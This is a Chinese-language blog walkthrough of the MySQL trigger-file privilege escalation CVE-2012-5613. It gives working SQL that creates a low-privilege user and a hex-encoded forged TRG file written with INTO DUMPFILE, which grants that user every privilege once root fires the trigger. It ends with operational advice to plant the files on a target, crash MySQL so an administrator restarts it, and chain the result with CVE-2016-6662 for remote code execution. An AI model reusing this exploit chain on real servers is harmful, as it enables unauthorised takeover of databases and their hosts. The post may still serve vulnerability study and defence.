cve-2012-5613 mysql本地提權

cve-2012-5613  是一個經過FILE權限寫Trigger的TRG存儲文件（即僞造Trigger）,由root觸發而致使權限提高的漏洞。不知道爲何這個漏洞一直沒修，可能mysql認爲這是一個特性吧。

準備

測試環境：

Server version: 5.5.48-log Source distribution

在test數據庫中建立一個觸發器：

 

create table foo (a INT, b INT, ts TIMESTAMP);

create table bar (a INT, b INT);

 

INSERT INTO foo (a,b) VALUES(1,1);

INSERT INTO foo (a,b) VALUES(2,2);

INSERT INTO foo (a,b) VALUES(3,3);

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

        IF NEW.ts <> OLD.ts THEN 

            INSERT INTO bar (a, b) VALUES(NEW.a, NEW.b);

        END IF;

    END;

///

 

DELIMITER ;

建立觸發器完成後，發如今mysql目錄(/usr/local/mysql/var/test/)生成foo.TRG和ins_sum.TRN文件，全部者爲mysql

換一個更簡單的Trigger：

DROP TRIGGER IF EXISTS ins_sum;

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

 

            update user set sex =3 where id =1  ;

       

    END;

///

 

DELIMITER ;

此時TRG文件內容：

TYPE=TRIGGERS

\n    END'    update user set sex =3 where id =1  ; AFTER UPDATE ON foo

sql_modes=0

definers='root@%'

client_cs_names='utf8mb4'

connection_cl_names='utf8mb4_general_ci'

db_cl_names='utf8mb4_general_ci'

 

開始測試：

建立一個普通用戶，只有file權限+test的select權限

 

 CREATE USER 'sec_usr123'@'%'  IDENTIFIED BY 'sec_usr123';

GRANT FILE ON *.* TO 'sec_usr123'@'%' ;

GRANT SELECT ON `test`.* TO 'sec_usr123'@'%';

flush privileges

 

在root下，建立一個觸發器,試圖直接經過觸發器觸發將普通用戶變爲super user失敗：

DROP TRIGGER IF EXISTS ins_sum;

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

grant all privileges on *.* to sec_usr@'%' with grant option;

 

       

        

    END;

///

 

DELIMITER ;

換一種寫法（https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/23077.pl）：

 DROP TRIGGER IF EXISTS ins_sum;

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

        UPDATE  mysql.user  SET  Select_priv='Y',  Insert_priv='Y',  Update_priv='Y',  Delete_priv='Y',  Create_priv='Y',  Drop_priv='Y',  Reload_priv='Y',  Shutdown_priv='Y',  Process_priv='Y',  File_priv='Y',  Grant_priv='Y',  References_priv='Y',  Index_priv='Y',  Alter_priv='Y',  Show_db_priv='Y',  Super_priv='Y',  Create_tmp_table_priv='Y',  Lock_tables_priv='Y',  Execute_priv='Y',  Repl_slave_priv='Y',  Repl_client_priv='Y',  Create_view_priv='Y',  Show_view_priv='Y',  Create_routine_priv='Y',  Alter_routine_priv='Y',  Create_user_priv='Y',  ssl_type='Y',  ssl_cipher='Y',  x509_issuer='Y',  x509_subject='Y',max_questions='Y',  max_updates='Y',  max_connections='Y'  WHERE  User='sec_usr1234foo';

    END;

///

 

DELIMITER ;

成功。

 

嘗試使用fie權限寫入觸發器目錄：

SELECT   '1111'  INTO OUTFILE  '/usr/local/mysql/var/test/1.txt'

 

寫入成功。

經過outfile寫文件的方式（此方式文件已存在則報錯）

普通用戶sec_usr如今使用file權限建立TRG文件：

SELECT   'TYPE=TRIGGERS\ntriggers=\'CREATE DEFINER=\`root\`@\`%\` TRIGGER ins_sum AFTER UPDATE ON foo\n\\n    FOR EACH ROW\n\\n    BEGIN\n\\n\n\\n            update user set sex =3 where id =1  ;\n\\n\n\\n    END\'\nsql_modes=0\ndefiners=\'root@%\'\nclient_cs_names=\'utf8mb4\'\nconnection_cl_names=\'utf8mb4_general_ci\'\ndb_cl_names=\'utf8mb4_general_ci\'   '

INTO OUTFILE  '/usr/local/mysql/var/test/foo.TRG'   FIELDS ESCAPED BY ' ';

SELECT   'TYPE=TRIGGERNAME\ntrigger_table=foo' INTO OUTFILE  '/usr/local/mysql/var/test/ins_sum.TRN'  FIELDS ESCAPED BY ' ';

重啓mysql

sudo /etc/init.d/mysql restart

屢次嘗試發現有backslash帶入，mysql重啓加載失敗。

換16進制寫入，注意要使用dumpfile而不是outfile：

 

 SELECT 545950453D54524947474552530A74726967676572733D2743524541544520444546494E45523D60726F6F746040602560205452494747455220696E735F73756D20414654455220555044415445204F4E20666F6F0D5C6E20202020464F52204541434820524F570D5C6E20202020424547494E0D5C6E202020202020202055504441544520206D7973716C2E757365722020534554202053656C6563745F707269763D5C27595C272C2020496E736572745F707269763D5C27595C272C20205570646174655F707269763D5C27595C272C202044656C6574655F707269763D5C27595C272C20204372656174655F707269763D5C27595C272C202044726F705F707269763D5C27595C272C202052656C6F61645F707269763D5C27595C272C202053687574646F776E5F707269763D5C27595C272C202050726F636573735F707269763D5C27595C272C202046696C655F707269763D5C27595C272C20204772616E745F707269763D5C27595C272C20205265666572656E6365735F707269763D5C27595C272C2020496E6465785F707269763D5C27595C272C2020416C7465725F707269763D5C27595C272C202053686F775F64625F707269763D5C27595C272C202053757065725F707269763D5C27595C272C20204372656174655F746D705F7461626C655F707269763D5C27595C272C20204C6F636B5F7461626C65735F707269763D5C27595C272C2020457865637574655F707269763D5C27595C272C20205265706C5F736C6176655F707269763D5C27595C272C20205265706C5F636C69656E745F707269763D5C27595C272C20204372656174655F766965775F707269763D5C27595C272C202053686F775F766965775F707269763D5C27595C272C20204372656174655F726F7574696E655F707269763D5C27595C272C2020416C7465725F726F7574696E655F707269763D5C27595C272C20204372656174655F757365725F707269763D5C27595C272C202073736C5F747970653D5C27595C272C202073736C5F6369706865723D5C27595C272C2020783530395F6973737565723D5C27595C272C2020783530395F7375626A6563743D5C27595C272C6D61785F7175657374696F6E733D5C27595C272C20206D61785F757064617465733D5C27595C272C20206D61785F636F6E6E656374696F6E733D5C27595C27202057484552452020557365723D5C277365635F75737231323334666F6F5C273B200D5C6E20202020454E44270A73716C5F6D6F6465733D300A646566696E6572733D27726F6F744025270A636C69656E745F63735F6E616D65733D27757466386D6234270A636F6E6E656374696F6E5F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A64625F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A into dumpfile '/usr/local/mysql/var/test/foo.TRG' ;

 SELECT 0x545950453D545249474745524E414D450A747269676765725F7461626C653D666F6F0A   into dumpfile '/usr/local/mysql/var/test/ins_sum.TRN' ;

 

重啓mysql，root用戶執行UPDATE進行觸發：

select * from mysql.user   where User = 'sec_usr1234foo';  

 

update foo set a=9 where b=1;

select * from mysql.user   where User = 'sec_usr1234foo';

 至此sec_usr1234foo獲取了super user權限，能夠執行set global general_log，結合上上篇文章CVE-2016-6662（ http://www.cnblogs.com/xiaoxiaoleo/p/5873091.html），就達到了所謂的普通用戶遠程RCE的效果。或者直接像http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html提到的那樣，經過super user直接出發注入my.cnf的Trigger，省去添加super user的步驟。

 

  總結一下cve-2012-5613:

利用條件：

1. 普通用戶+file權限+select權限

2.管理員須要重啓mysql一次，觸發一次觸發器（INSERT, UPDATE or DELETE.）

攻擊方式：

最好有一個和遠程環境相同的環境，預先生成TRG和TRN文件的16進制，而後經過dumpfile到目標的mysql目錄裏面。讓管理員能夠經過mysql拒絕服務，mysql宕機管理天然會重啓。如何讓管理員觸發，則隨機應變吧。